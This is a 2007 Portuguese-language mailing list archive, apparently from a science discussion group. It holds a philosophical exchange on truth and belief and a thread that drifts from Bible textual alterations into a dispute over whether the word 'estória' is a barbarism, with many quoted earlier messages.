> mas SÓ podemos tentar realmente entendê-la de forma
> racional... Óbvio né...
>
> --- Sim, o "racional" é a unica forma de "entender" a
> verdade, mas vc pode sentir a verdade também, vc pode
> ser a verdade também. Aliás, vc não apenas pode, mas,
> sendo humano, faz isto o tempo todo.
>
> Jeff >>> Pra que aceitar como verdade algo que não se
> entende?
>
> --- Concordo com vc que ACEITAR algo como verdade não
> trás nenhum beneficio, mas CONSIDERAR algo como uma
> possivel verdade, mantém sua mente aberta e
> investigativa.
>
> --- Considere isto: o fato de vc não entender algo não
> significa que não seja verdade nem mentira. Por
> exemplo, vc pode não entender isto aqui: "e=m.c2". Mas
> não significa que não seja verdade nem mentira. Se vc
> considera, mantém sua mente aberta pra investigar e
> buscar o significado real por trás da teoria. O mesmo
> pode acontecer com esta teoria aqui: "deus é três". Se
> vc considera, mantém sua mente aberta e investigativa.
>
>
> Jeff >>> Isso, pra mim, é desistir de pensar, de
> buscar a verdade, e se conformar com uma "explicação".
>
> --- Concordo com vc.
>
> --- Contudo, porque se conformar em acreditar nas
> "teorias" cientificas? Minha atual observação e
> conclusão é a seguinte: a grande maioria dos
> cientistas são tão crentes das teorias cietificas como
> os crentes religiosos são das teorias teológicas. Ou
> seja, repetem feito papagaio o que foram obrigados a
> decorar na escola, mas não sabem o que estão dizendo,
> não sabem o significado dos significantes que usam.
>
> Jeff >>> Ou então é medo de concluir que a verdade
> pode ser cruel, feia, sem graça....
>
> --- Sim, medo. Medo de vários tipos. Vou falar mais
> sobre isto numa resposta adiante...
>
> Jeff >>> As crenças, mesmo que inventadas, são mais
> interessantes, atraentes, não é isso? Como um
> entorpecente.
>
> --- Me engana que eu gosto. É melhor um talvez do que
> um não depois das seis. E por ai vai... Se vc acredita
> que a terra é o centro do universo, se construiu todo
> seu conhecimento sobre isto, como vai reagir a noticia
> de que isto é mentira? Crença dá uma "falsa
> segurança". E falsa, mas dá. Novamente isto toca a
> questão do medo: medo é fruto da insegurança.
>
> Jeff >>> Eu não preciso aceitar uma invenção de alguém
> pra ter "respostas". Se eu não entendo, fico sem
> entender oras, mas sempre tentando entender...
>
> --- Concordo com vc nisto ai: "fico sem entender, mas
> sempre tentando entender". Ou seja: não preciso de uma
> "falsa segurança", estou seguro com a minha
> insegurança, e prossigo investigando... Isto é a
> verdadeira mente cientifica, investigativa. Mente
> sempre aberta. Sócrates expressou esta postura mental
> assim: "Tudo que sei é que nada sei." . Ele não disse
> que não considerva o conhecimento produzido, mas
> apenas que não fechava a porta mental.
>
> Jeff >>> Vejo que muita gente só se conforma, só se
> sente bem, tendo todas as "respostas".
>
> --- E perceba só: ninguém precisa de resposta nenhuma
> pra sentir nada, sentir é outro departamento. Teorias
> não são pra sentir, são pra pensar.
>
> Jeff >>> Você não acha engraçado escolher uma
> "verdade"? :-)
>
> --- Como vc disse: é medo. Fechamos a mente por medo.
> É uma questão emocional, não é racional. Se uma pessoa
> não tem medo, porque precisa se fecha? Não precisa.
> Fechar é medo de perder. Porque fechamos uma coisa no
> cofres Medo de perder a coisa. Porque trancamos a
> verdade no cofre de uma teoria. Medo de perder a
> verdade. Mas se o que temos é verdade de verade, não
> precisamos ter medo de perde-la, pois a verdade não se
> perde, a verdade é sempre verdade. O que muda é a
> forma de ver a verdade, a teoria, não a verdade.
> Assim, o medo não é de perder a verdade, isto é
> impossivel, o medo é de perder a "crença", a "teoria",
> seja ela teológica, cientifica, filosófica, ou
> culinária (rs)...
>
> Jeff >>> A "decodificação" correta de uma informação
> depende da "chave" correta.
>
> --- Sim, concordo. E chave é código, e código é
> linguagem. Assim, vc pode entender decodificação como
> tradução. Então, se vc pensar que deus se comunica em
> sua própria linguagem, irracional e ilógica, o que
> fazer os seres humanos?
>
> Jeff >>> Não podemos dizer que a ciência tem a chave
> correta, mas busca sempre a que melhor se "encaixa".
>
> --- A que melhor se encaixa AO SEU PROPOSITO. Isto é
> importante ficar claro. Pois como disse acima, se
> apenas quero sentir a verdade, não preciso de ciencia
> nenhuma. E ai surge uma pergunta importante: qual é o
> propósito da ciencia? A ciencia tem um propósito? Ou é
> o cientista que tem? Qual é este proposito? E porque?
>
> Jeff >>> Você não pode "ler" um hieróglifo, por
> exemplo, do jeito que você quiser, ele tem uma
> lógica...
>
> --- Muito bem observado. Vc sabe que tem uma lógica
> ali, mas não sabe o que significa. Olha que
> interressante, ao mesmo tempo que os hieróglifo não
> fazem nenhum sentido, sabemos que tem um sentido ali.
> Interressante isto, não? O que acha que isto quer
> dizer? Vc fez um ótima observação, o que vc acha que
> ele significa?
>
> Jeff >>> Mas é exatamente isso que as religiões fazem!
> Lêem o universo do jeito que querem, que gostam...
>
> --- Jeff, não é a religião (religare) que faz isto,
> mas os religiosos (seres humanos). Sendo assim, peço
> para que considere a seguinte teoria sobre o
> comportamente humano:
>
> --- Todo ser humano faz o melhor que pode dentro das
> suas possibilidades e espectativas de beneficio. Por
> que alguém beberia veneno se soubesse que o que está
> bebendo é veneno? Observe esta teoria no seu cotinuano
> é depois me diga se, pra vc, é verdade ou mentira.
>
>
> sinceramente
> ferrari
>
>
>
>
>
>
>
>
>
>
>
>
> - - - - - - - - - - - - - - -
>
> EXPERIMENTE XIXI COM TINTA
> O novo livro de Marcelo Ferrari:
>
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SUBJECT: Re: [ciencialist] Alteracoes na Biblia
FROM: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 31/03/2007 03:10

Desculpe-me por discordar de voce, porem...



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Estória
Estória é um neologismo proposto por João Ribeiro em 1919, para designar, no campo do folclore, a narrativa popular, o conto tradicional.
Alguns consideram o termo arcaico, mas ele difere claramente de "História", pelo primeiro ser algo inventado e o segundo algo verídico.

O termo acabou por não ter uma aceitação generalizada, uma vez que pode ser feita a distinção entre "história " (com caixa baixa ou minúscula) e "História" (com caixa alta ou maiúscula). O primeiro termo significa narrativa, ficção e o segundo refere-se à ciência que estuda o Homem no tempo.

Fonte:Wikipedia
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es.tó.ria

sf (gr historía) Narrativa de lendas, contos tradicionais de ficção; ''causo'': ''Ouviram atentos aquelas estórias de mentira, da 'mula-sem-cabeça', do saci, do curupira. Mais tarde tiveram que mergulhar fundo nas histórias de verdade, para saber como foi construído o Brasil'' (Francisco Marins). E. em quadrinhos: série de desenhos, em uma série de quadros, que representam uma estória, com legendas ou sem elas. E. da carochinha: conto da carochinha. Estórias do arco da velha: coisas inverossímeis, inacreditáveis. Estória para boi dormir, gír: conversa enfadonha, com intuito de embair; conversa fiada. Deixar-se de estórias: evitar rodeios, indo logo ao ponto principal.

Fonte:Michaelis

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Portanto, digamos que estória nao é um barbarismo...



----- Original Message -----
From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 9:29 PM
Subject: Re: [ciencialist] Alteracoes na Biblia


"estória" é um barbarismo copiado dos americanos e não tem guarida na nossa língua. O único escritor brasileiro que a usou com propriedade, copiando os falaes do povo do interior é Guimarães Rosa.
Não entendo essa crua necessidade de prostituir o idioma pátrio.

silvio.
----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 9:06 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Adeilson,

".....acreditaria na mentira, estou certo?"

Em minha opinião você está certíssimo. Claro que noventa e trocentas pessoas acharão que não.
Já estive lá e sei.

Ainda, em minha opinião, e parodiando Pauli. diria: a bíblia SEQUER está errada!. São estórias prá boi dormir.

Sds,
Victor.

----- Original Message -----
From: Adeilson Moreira Junior
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 7:15 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Erros eu procuro no sentido de algum dos porta vozes divinos ter escrito uma coisa e , por exemplo, um monge copista ter alterado para adequar aos dogmas catolicos. Nao procuro erros logicos.
Eu passei a me interessar mais pela Biblia de tanto ouvir crentes chorando ao meu ouvido a perfeicao que é a Biblia, que ela conem todas as verdades, que isso, que aquilo...
A Biblia nao é um livro divino. Para mim, é apenas mais uma obra humana, e todo e qualquer estudioso de teologia sabe que a maior parte dela foi escrita a partir de dados orais muito posteriores aos acontecimentos. Alguem aqui ja brincou de telefone sem fio???
A Biblia é uma obra valida, assim como o Corao. Na verdade, quem acredita na Biblia como verdade absoluta, se tivesse nascido, por exemplo, na Arabia Saudita, acreditaria na mentira, estou certo?

----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 5:40 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Bíblia é uma antologia, uma coletânea de ficção literária no tema 'misticismo'. São narrativas de pensamento, sem qualquer cunho lógico (da matemática) ou científico. Procurar erros em tais narrativas é procurar 'palavras' em dicionários ortográficos.
Se a Bíblia não sofresse alterações para se re-ajustar à época e seus modismos não seria o livro mais vendido do mundo; dogmas não são permanentes! Cada narrativa deve ser alterada para ter um novo sentido condizente com os padrões da população vigente. Cada crente deve consultar a 'bíblia atualizada' assim como cada aluno deve consultar o 'novo dicionário da língua portuguesa'. As 'parábolas' da Bíblia não são da forma y = ax^2+bx+c; se o fossem não sofreriam alterações.
Todavia, sua solicitação é válida e ... nosso cérebro positrônico, modelo vivo das leis robóticas do Bom Doutor, de sobrenome fictício 'Takata', com certeza lhe dará dúzias desses links.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 30 de março de 2007 16:29
Assunto: [ciencialist] Alteracoes na Biblia

Algum de voces conhece algum site que trate da Biblia e os erros que ela contem? Sei que durante o processo historico ocorreram muitas alteracoes visando a afirmacao de dogmas da Igreja, porem eu ainda nao consegui encontrar informacoes mais concentradas, somente dados soltos por diversos sites.
Obrigado desde ja,

Adeilson Moreira Junior

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SUBJECT: Re: [ciencialist] Alteracoes na Biblia
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 31/03/2007 06:49

Mestre Sílvius,

Uma palavra escrita é um conjunto de símbolos que expressa os sons que são produzidos por nosso juízo, tantã ou não. Em qualquer ídioma. Varia apenas a forma de grafá-los. Mas, em cada caso, o essencial é isto: fazer-se entender. E não é imperioso que se estabeleçam regras e mais regras, de forma a que esses símbolos se apresentem "politicamente" inseridos num contexto,elegantemente interconectados, e outras saídas do armário associadas, para que as idéias sejam captadas pelos circunstantes! Fiz-me compreender?
Contudo, e não mais que contudo, fui alí e encontrei que a grafia dos sons emitidos por minha vã prosopopéia está grafado como precisamente alí diz:

Michaelis Moderno Dicionário da Língua Portuguesa

. es.tó.ria

sf (gr historía) Narrativa de lendas, contos tradicionais de ficção; ''causo'': ''Ouviram atentos aquelas estórias de mentira, da 'mula-sem-cabeça', do saci, do curupira. Mais tarde tiveram que mergulhar fundo nas histórias de verdade, para saber como foi construído o Brasil'' (Francisco Marins). E. em quadrinhos: série de desenhos, em uma série de quadros, que representam uma estória, com legendas ou sem elas. E. da carochinha: conto da carochinha. Estórias do arco da velha: coisas inverossímeis, inacreditáveis. Estória para boi dormir, gír: conversa enfadonha, com intuito de embair; conversa fiada. Deixar-se de estórias: evitar rodeios, indo logo ao ponto principal.

Ou seja, para exprimir exatamente o que quis dizer, com todo o potencial de minha heresia, nenhuma outra palavra, das que sei, serviria. Somente "estória" é que estaria, como está, corretamente inserida no contexto:
"....a bíblia SEQUER está errada! São estórias prá boi dormir."
De outro modo, não seria eu o bom hereje que sou, ora!
Bem, espero ter contado direitinho a história da estória espinafrada.

Particularmente, não acho francesismos, anglicanismos, e outros frescurismos, sejam "barbarismos" a serem evitados, em qualquer situação. Pior do que prostituir a língua(êpa, língua falada...) é prostituir o juízo do usuário dessa língua, com promessas e mais promessas, com mentiras e o mais associado; é prostituir a sociedade com a neurose justificada e real da falta de segurança, em todas as áreas, sendo a física tão visceralmente atingida quanto qualquer outra, apenas, no momento, mascarada por aquela. Um básico e necessário a um mínimo de conforto nesta curta vida que ainda haveremos de atravessar, é-nos negado, com estórias e mais estórias. Essa é que é a história, o realitiy show, ontem e agora!
Conclusão: a história é bem outra, em curso no dia a dia nosso de cada segundo. E juro que não é estória!

Sds,
Victor.




----- Original Message -----
From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 9:29 PM
Subject: Re: [ciencialist] Alteracoes na Biblia


"estória" é um barbarismo copiado dos americanos e não tem guarida na nossa língua. O único escritor brasileiro que a usou com propriedade, copiando os falaes do povo do interior é Guimarães Rosa.
Não entendo essa crua necessidade de prostituir o idioma pátrio.

silvio.
----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 9:06 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Adeilson,

".....acreditaria na mentira, estou certo?"

Em minha opinião você está certíssimo. Claro que noventa e trocentas pessoas acharão que não.
Já estive lá e sei.

Ainda, em minha opinião, e parodiando Pauli. diria: a bíblia SEQUER está errada!. São estórias prá boi dormir.

Sds,
Victor.

----- Original Message -----
From: Adeilson Moreira Junior
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 7:15 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Erros eu procuro no sentido de algum dos porta vozes divinos ter escrito uma coisa e , por exemplo, um monge copista ter alterado para adequar aos dogmas catolicos. Nao procuro erros logicos.
Eu passei a me interessar mais pela Biblia de tanto ouvir crentes chorando ao meu ouvido a perfeicao que é a Biblia, que ela conem todas as verdades, que isso, que aquilo...
A Biblia nao é um livro divino. Para mim, é apenas mais uma obra humana, e todo e qualquer estudioso de teologia sabe que a maior parte dela foi escrita a partir de dados orais muito posteriores aos acontecimentos. Alguem aqui ja brincou de telefone sem fio???
A Biblia é uma obra valida, assim como o Corao. Na verdade, quem acredita na Biblia como verdade absoluta, se tivesse nascido, por exemplo, na Arabia Saudita, acreditaria na mentira, estou certo?

----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 5:40 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Bíblia é uma antologia, uma coletânea de ficção literária no tema 'misticismo'. São narrativas de pensamento, sem qualquer cunho lógico (da matemática) ou científico. Procurar erros em tais narrativas é procurar 'palavras' em dicionários ortográficos.
Se a Bíblia não sofresse alterações para se re-ajustar à época e seus modismos não seria o livro mais vendido do mundo; dogmas não são permanentes! Cada narrativa deve ser alterada para ter um novo sentido condizente com os padrões da população vigente. Cada crente deve consultar a 'bíblia atualizada' assim como cada aluno deve consultar o 'novo dicionário da língua portuguesa'. As 'parábolas' da Bíblia não são da forma y = ax^2+bx+c; se o fossem não sofreriam alterações.
Todavia, sua solicitação é válida e ... nosso cérebro positrônico, modelo vivo das leis robóticas do Bom Doutor, de sobrenome fictício 'Takata', com certeza lhe dará dúzias desses links.

aquele abraço,
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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De: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 30 de março de 2007 16:29
Assunto: [ciencialist] Alteracoes na Biblia

Algum de voces conhece algum site que trate da Biblia e os erros que ela contem? Sei que durante o processo historico ocorreram muitas alteracoes visando a afirmacao de dogmas da Igreja, porem eu ainda nao consegui encontrar informacoes mais concentradas, somente dados soltos por diversos sites.
Obrigado desde ja,

Adeilson Moreira Junior

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SUBJECT: Re: [ciencialist] Alteracoes na Biblia
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 31/03/2007 10:22

Júnior:
O próprio Michaelis diz que é variação de "história".
Criar neologismos sem necessidade não é aceito pelos gramáticos: observe que mesmo inventado em 19, a mãe da língua, o Vocabulário da Academia, não anota esse anglicismo.
É um barato defender causas esdrúxulas: atualmente convivemos também com "performance", outro barbarismo pois temos "desempenho" de melhor som e raiz latina.
E mais, meu caro, algumas mulheres, de gosto duvidoso e imitando uma boa senhora que fazia ótipa poesia mas suponho que com gostos sexuais diferentes ou altos complexos, desandou a denominar-se de "poeta". Hoje, qualquer escrevedora de poemas de classifica como "poeta" o que é prova de total desconhecimento da língua pois é erro imperdoável para quem cultua a última flor do Lacio: feminino de poeta é poetiza.

Eu acompanho os escritores que procuram seguir as regras ortográficas: sou brasileiro, não precisamos de importar estrangeirismos a não ser em casos técnicos.

sds.,

silvio.

----- Original Message -----
From: Adeilson Moreira Junior
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 31, 2007 3:10 AM
Subject: Re: [ciencialist] Alteracoes na Biblia


Desculpe-me por discordar de voce, porem...

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Estória
Estória é um neologismo proposto por João Ribeiro em 1919, para designar, no campo do folclore, a narrativa popular, o conto tradicional.
Alguns consideram o termo arcaico, mas ele difere claramente de "História", pelo primeiro ser algo inventado e o segundo algo verídico.

O termo acabou por não ter uma aceitação generalizada, uma vez que pode ser feita a distinção entre "história " (com caixa baixa ou minúscula) e "História" (com caixa alta ou maiúscula). O primeiro termo significa narrativa, ficção e o segundo refere-se à ciência que estuda o Homem no tempo.

Fonte:Wikipedia
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es.tó.ria

sf (gr historía) Narrativa de lendas, contos tradicionais de ficção; ''causo'': ''Ouviram atentos aquelas estórias de mentira, da 'mula-sem-cabeça', do saci, do curupira. Mais tarde tiveram que mergulhar fundo nas histórias de verdade, para saber como foi construído o Brasil'' (Francisco Marins). E. em quadrinhos: série de desenhos, em uma série de quadros, que representam uma estória, com legendas ou sem elas. E. da carochinha: conto da carochinha. Estórias do arco da velha: coisas inverossímeis, inacreditáveis. Estória para boi dormir, gír: conversa enfadonha, com intuito de embair; conversa fiada. Deixar-se de estórias: evitar rodeios, indo logo ao ponto principal.

Fonte:Michaelis

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Portanto, digamos que estória nao é um barbarismo...

----- Original Message -----
From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 9:29 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

"estória" é um barbarismo copiado dos americanos e não tem guarida na nossa língua. O único escritor brasileiro que a usou com propriedade, copiando os falaes do povo do interior é Guimarães Rosa.
Não entendo essa crua necessidade de prostituir o idioma pátrio.

silvio.
----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 9:06 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Adeilson,

".....acreditaria na mentira, estou certo?"

Em minha opinião você está certíssimo. Claro que noventa e trocentas pessoas acharão que não.
Já estive lá e sei.

Ainda, em minha opinião, e parodiando Pauli. diria: a bíblia SEQUER está errada!. São estórias prá boi dormir.

Sds,
Victor.

----- Original Message -----
From: Adeilson Moreira Junior
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 7:15 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Erros eu procuro no sentido de algum dos porta vozes divinos ter escrito uma coisa e , por exemplo, um monge copista ter alterado para adequar aos dogmas catolicos. Nao procuro erros logicos.
Eu passei a me interessar mais pela Biblia de tanto ouvir crentes chorando ao meu ouvido a perfeicao que é a Biblia, que ela conem todas as verdades, que isso, que aquilo...
A Biblia nao é um livro divino. Para mim, é apenas mais uma obra humana, e todo e qualquer estudioso de teologia sabe que a maior parte dela foi escrita a partir de dados orais muito posteriores aos acontecimentos. Alguem aqui ja brincou de telefone sem fio???
A Biblia é uma obra valida, assim como o Corao. Na verdade, quem acredita na Biblia como verdade absoluta, se tivesse nascido, por exemplo, na Arabia Saudita, acreditaria na mentira, estou certo?

----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 5:40 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Bíblia é uma antologia, uma coletânea de ficção literária no tema 'misticismo'. São narrativas de pensamento, sem qualquer cunho lógico (da matemática) ou científico. Procurar erros em tais narrativas é procurar 'palavras' em dicionários ortográficos.
Se a Bíblia não sofresse alterações para se re-ajustar à época e seus modismos não seria o livro mais vendido do mundo; dogmas não são permanentes! Cada narrativa deve ser alterada para ter um novo sentido condizente com os padrões da população vigente. Cada crente deve consultar a 'bíblia atualizada' assim como cada aluno deve consultar o 'novo dicionário da língua portuguesa'. As 'parábolas' da Bíblia não são da forma y = ax^2+bx+c; se o fossem não sofreriam alterações.
Todavia, sua solicitação é válida e ... nosso cérebro positrônico, modelo vivo das leis robóticas do Bom Doutor, de sobrenome fictício 'Takata', com certeza lhe dará dúzias desses links.

aquele abraço,
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Luiz Ferraz Netto [Léo]
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De: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 30 de março de 2007 16:29
Assunto: [ciencialist] Alteracoes na Biblia

Algum de voces conhece algum site que trate da Biblia e os erros que ela contem? Sei que durante o processo historico ocorreram muitas alteracoes visando a afirmacao de dogmas da Igreja, porem eu ainda nao consegui encontrar informacoes mais concentradas, somente dados soltos por diversos sites.
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SUBJECT: Re: [ciencialist] Alteracoes na Biblia
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 31/03/2007 10:27

Vitor:
A pronuncia correta é "is" e não "es" que modernosos usasm para conspurcar a língua: converse com uma pessoa qualquer na rua e faça com que ela use a palavra: ferás a pronúncia correta.
Admiro esse afâ de contestar será por minha pessoa ou realmente detestam os falares de sua Pátria?

sds.,
silvio
----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 31, 2007 6:49 AM
Subject: Re: [ciencialist] Alteracoes na Biblia


Mestre Sílvius,

Uma palavra escrita é um conjunto de símbolos que expressa os sons que são produzidos por nosso juízo, tantã ou não. Em qualquer ídioma. Varia apenas a forma de grafá-los. Mas, em cada caso, o essencial é isto: fazer-se entender. E não é imperioso que se estabeleçam regras e mais regras, de forma a que esses símbolos se apresentem "politicamente" inseridos num contexto,elegantemente interconectados, e outras saídas do armário associadas, para que as idéias sejam captadas pelos circunstantes! Fiz-me compreender?
Contudo, e não mais que contudo, fui alí e encontrei que a grafia dos sons emitidos por minha vã prosopopéia está grafado como precisamente alí diz:

Michaelis Moderno Dicionário da Língua Portuguesa

. es.tó.ria

sf (gr historía) Narrativa de lendas, contos tradicionais de ficção; ''causo'': ''Ouviram atentos aquelas estórias de mentira, da 'mula-sem-cabeça', do saci, do curupira. Mais tarde tiveram que mergulhar fundo nas histórias de verdade, para saber como foi construído o Brasil'' (Francisco Marins). E. em quadrinhos: série de desenhos, em uma série de quadros, que representam uma estória, com legendas ou sem elas. E. da carochinha: conto da carochinha. Estórias do arco da velha: coisas inverossímeis, inacreditáveis. Estória para boi dormir, gír: conversa enfadonha, com intuito de embair; conversa fiada. Deixar-se de estórias: evitar rodeios, indo logo ao ponto principal.

Ou seja, para exprimir exatamente o que quis dizer, com todo o potencial de minha heresia, nenhuma outra palavra, das que sei, serviria. Somente "estória" é que estaria, como está, corretamente inserida no contexto:
"....a bíblia SEQUER está errada! São estórias prá boi dormir."
De outro modo, não seria eu o bom hereje que sou, ora!
Bem, espero ter contado direitinho a história da estória espinafrada.

Particularmente, não acho francesismos, anglicanismos, e outros frescurismos, sejam "barbarismos" a serem evitados, em qualquer situação. Pior do que prostituir a língua(êpa, língua falada...) é prostituir o juízo do usuário dessa língua, com promessas e mais promessas, com mentiras e o mais associado; é prostituir a sociedade com a neurose justificada e real da falta de segurança, em todas as áreas, sendo a física tão visceralmente atingida quanto qualquer outra, apenas, no momento, mascarada por aquela. Um básico e necessário a um mínimo de conforto nesta curta vida que ainda haveremos de atravessar, é-nos negado, com estórias e mais estórias. Essa é que é a história, o realitiy show, ontem e agora!
Conclusão: a história é bem outra, em curso no dia a dia nosso de cada segundo. E juro que não é estória!

Sds,
Victor.


----- Original Message -----
From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 9:29 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

"estória" é um barbarismo copiado dos americanos e não tem guarida na nossa língua. O único escritor brasileiro que a usou com propriedade, copiando os falaes do povo do interior é Guimarães Rosa.
Não entendo essa crua necessidade de prostituir o idioma pátrio.

silvio.
----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 9:06 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Adeilson,

".....acreditaria na mentira, estou certo?"

Em minha opinião você está certíssimo. Claro que noventa e trocentas pessoas acharão que não.
Já estive lá e sei.

Ainda, em minha opinião, e parodiando Pauli. diria: a bíblia SEQUER está errada!. São estórias prá boi dormir.

Sds,
Victor.

----- Original Message -----
From: Adeilson Moreira Junior
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 7:15 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Erros eu procuro no sentido de algum dos porta vozes divinos ter escrito uma coisa e , por exemplo, um monge copista ter alterado para adequar aos dogmas catolicos. Nao procuro erros logicos.
Eu passei a me interessar mais pela Biblia de tanto ouvir crentes chorando ao meu ouvido a perfeicao que é a Biblia, que ela conem todas as verdades, que isso, que aquilo...
A Biblia nao é um livro divino. Para mim, é apenas mais uma obra humana, e todo e qualquer estudioso de teologia sabe que a maior parte dela foi escrita a partir de dados orais muito posteriores aos acontecimentos. Alguem aqui ja brincou de telefone sem fio???
A Biblia é uma obra valida, assim como o Corao. Na verdade, quem acredita na Biblia como verdade absoluta, se tivesse nascido, por exemplo, na Arabia Saudita, acreditaria na mentira, estou certo?

----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 5:40 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Bíblia é uma antologia, uma coletânea de ficção literária no tema 'misticismo'. São narrativas de pensamento, sem qualquer cunho lógico (da matemática) ou científico. Procurar erros em tais narrativas é procurar 'palavras' em dicionários ortográficos.
Se a Bíblia não sofresse alterações para se re-ajustar à época e seus modismos não seria o livro mais vendido do mundo; dogmas não são permanentes! Cada narrativa deve ser alterada para ter um novo sentido condizente com os padrões da população vigente. Cada crente deve consultar a 'bíblia atualizada' assim como cada aluno deve consultar o 'novo dicionário da língua portuguesa'. As 'parábolas' da Bíblia não são da forma y = ax^2+bx+c; se o fossem não sofreriam alterações.
Todavia, sua solicitação é válida e ... nosso cérebro positrônico, modelo vivo das leis robóticas do Bom Doutor, de sobrenome fictício 'Takata', com certeza lhe dará dúzias desses links.

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Luiz Ferraz Netto [Léo]
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De: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 30 de março de 2007 16:29
Assunto: [ciencialist] Alteracoes na Biblia

Algum de voces conhece algum site que trate da Biblia e os erros que ela contem? Sei que durante o processo historico ocorreram muitas alteracoes visando a afirmacao de dogmas da Igreja, porem eu ainda nao consegui encontrar informacoes mais concentradas, somente dados soltos por diversos sites.
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SUBJECT: Re: [ciencialist] Alteracoes na Biblia
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 31/03/2007 11:55

Caro Sílvio,

Não entendí a última frase, mas me apresso em adiantar: nada contra tua grande pessoa, que eu de cá admiro bastante. Trata-se de mera opinião pessoal, quem nem resolve, nem complica. Por aí.

Sds,
Victor.


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From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 31, 2007 10:27 AM
Subject: Re: [ciencialist] Alteracoes na Biblia


Vitor:
A pronuncia correta é "is" e não "es" que modernosos usasm para conspurcar a língua: converse com uma pessoa qualquer na rua e faça com que ela use a palavra: ferás a pronúncia correta.
Admiro esse afâ de contestar será por minha pessoa ou realmente detestam os falares de sua Pátria?

sds.,
silvio
----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 31, 2007 6:49 AM
Subject: Re: [ciencialist] Alteracoes na Biblia

Mestre Sílvius,

Uma palavra escrita é um conjunto de símbolos que expressa os sons que são produzidos por nosso juízo, tantã ou não. Em qualquer ídioma. Varia apenas a forma de grafá-los. Mas, em cada caso, o essencial é isto: fazer-se entender. E não é imperioso que se estabeleçam regras e mais regras, de forma a que esses símbolos se apresentem "politicamente" inseridos num contexto,elegantemente interconectados, e outras saídas do armário associadas, para que as idéias sejam captadas pelos circunstantes! Fiz-me compreender?
Contudo, e não mais que contudo, fui alí e encontrei que a grafia dos sons emitidos por minha vã prosopopéia está grafado como precisamente alí diz:

Michaelis Moderno Dicionário da Língua Portuguesa

. es.tó.ria

sf (gr historía) Narrativa de lendas, contos tradicionais de ficção; ''causo'': ''Ouviram atentos aquelas estórias de mentira, da 'mula-sem-cabeça', do saci, do curupira. Mais tarde tiveram que mergulhar fundo nas histórias de verdade, para saber como foi construído o Brasil'' (Francisco Marins). E. em quadrinhos: série de desenhos, em uma série de quadros, que representam uma estória, com legendas ou sem elas. E. da carochinha: conto da carochinha. Estórias do arco da velha: coisas inverossímeis, inacreditáveis. Estória para boi dormir, gír: conversa enfadonha, com intuito de embair; conversa fiada. Deixar-se de estórias: evitar rodeios, indo logo ao ponto principal.

Ou seja, para exprimir exatamente o que quis dizer, com todo o potencial de minha heresia, nenhuma outra palavra, das que sei, serviria. Somente "estória" é que estaria, como está, corretamente inserida no contexto:
"....a bíblia SEQUER está errada! São estórias prá boi dormir."
De outro modo, não seria eu o bom hereje que sou, ora!
Bem, espero ter contado direitinho a história da estória espinafrada.

